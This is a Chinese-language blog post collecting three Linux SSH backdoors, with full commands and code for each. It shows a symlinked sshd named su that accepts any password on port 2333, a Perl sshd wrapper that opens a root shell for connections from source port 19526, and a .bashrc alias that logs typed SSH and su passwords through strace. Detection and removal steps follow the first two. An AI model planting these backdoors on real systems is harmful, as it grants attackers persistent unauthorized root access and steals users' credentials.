ssh backdoor
0x01. 前言
最近碰到很多留系统后门的case,无论windows还是linux。 所以这篇文章收集了一些ssh的backdoor,下篇文章写下windows的backdoor
0x02. 最简单的ssh后门 -- soft link(软连接)
如果现在利用redis反弹到一个root权限的shell,要登录ssh的就可以利用这种后门。
利用这一行命令就完成了这个最简单ssh后门创建
[root@helen]# ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=2333;
此时就可以用任意密码进行目标的ssh登录
[root@viarus ~]# ssh [email protected] -p 2333
[email protected]'s password:
Last login: Wed Dec 30 00:50:14 2015 from z.z.z.z
Welcome to aliyun Elastic Compute Service!
如何发现并且删除后们?
在看网络连接的时候,看到这个奇怪的文件名监听0.0.0.0的一个这么奇怪的端口。有经验的网管都会ll /proc/pid进行查看 不信,你看。看见su的文件路径是/usr/sbin/sshd,这就可以断定是个后门程序了。 根据进程就能查到后门程序位置。ps -ef | grep pid,上面可以看到pid是2975。这样就可以看到后门程序是/tmp/su
root 2975 1 0 00:56 ? 00:00:00 /tmp/su -oPort=2333
可以看到su是一个软连接,指向/usr/sbin/sshd
[root@helen ~]# ls -la /tmp
total 12
drwxrwxrwt. 3 root root 4096 Dec 30 00:56 .
dr-xr-xr-x. 22 root root 4096 Nov 10 20:26 ..
lrwxrwxrwx 1 root root 14 Dec 30 00:56 su -> /usr/sbin/sshd
清除后门
kill -9 pid
rm -rf 后门程序
PS:如果直接使用/usr/sbin/sshd -oPort=2333,这样会输入密码才能连ssh
0x03. SSH Server wrapper
先将/usr/sbin/sshd文件mv到/usr/bin目录
[root@helen ~]# cd /usr/sbin/
[root@helen sbin]# mv sshd ../bin
[root@helen sbin]# vim sshd
再编辑sshd
#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..LF/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;
再chmod 755 sshd
在本机上执行socat STDIO TCP4:target_ip:22,sourceport=19526
这个效果其实和shell效果一样,感觉并不是ssh的后门
19526端口是这样来的
>>> import struct
>>> buffer = struct.pack('>I6',19526)
>>> print repr(buffer)
'\x00\x00LF'
如何发现并删除后门?
查看端口可以看到ssh的端口,居然是叫sh的进程名在监听。这肯定不正常。 我们再看下,sshd的进程pid是844的文件路径是什么ll /proc/844,可以很清楚的看到sshd的路径在/usr/bin/sshd。因为正常的sshd路径是在/usr/sbin/sshd,所以断定sshd肯定被动过手脚。
[root@helen sbin]# ll /proc/844
total 0
dr-xr-xr-x 2 root root 0 Nov 10 22:24 attr
-rw-r--r-- 1 root root 0 Nov 19 10:51 autogroup
-r-------- 1 root root 0 Nov 19 10:51 auxv
-r--r--r-- 1 root root 0 Nov 19 10:51 cgroup
--w------- 1 root root 0 Nov 19 10:51 clear_refs
-r--r--r-- 1 root root 0 Nov 10 20:26 cmdline
-rw-r--r-- 1 root root 0 Nov 19 10:51 comm
-rw-r--r-- 1 root root 0 Nov 19 10:51 coredump_filter
-r--r--r-- 1 root root 0 Nov 19 10:51 cpuset
lrwxrwxrwx 1 root root 0 Nov 19 10:51 cwd -> /
-r-------- 1 root root 0 Nov 19 10:51 environ
lrwxrwxrwx 1 root root 0 Nov 19 10:51 exe -> /usr/bin/sshd
dr-x------ 2 root root 0 Nov 10 22:24 fd
dr-x------ 2 root root 0 Nov 19 10:51 fdinfo
cat下,就知道怎么回事了。
[root@helen sbin]# cat /usr/sbin/sshd
#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..LF/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;
最后还原操作: rm -rf /usr/sbin/sshd; mv /usr/bin/sshd ../sbin;
0x04. SSH keylogger
先vim当前用户下的.bashrc文件 在最后面添加如下后门代码:
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
source .bashrc命令使更改的配置生效
此时再ssh连接或者su切换用户,输入密码时的密码,无论错误或者正确都能记录到log里
参考链接
http://pastebin.com/2NgL8SDE
http://www.jakoblell.com/blog/2014/05/07/hacking-contest-ssh-server-wrapper/
https://diogomonica.com/posts/poor-man-s-ssh-keylogger/
http://drops.wooyun.org/tips/1951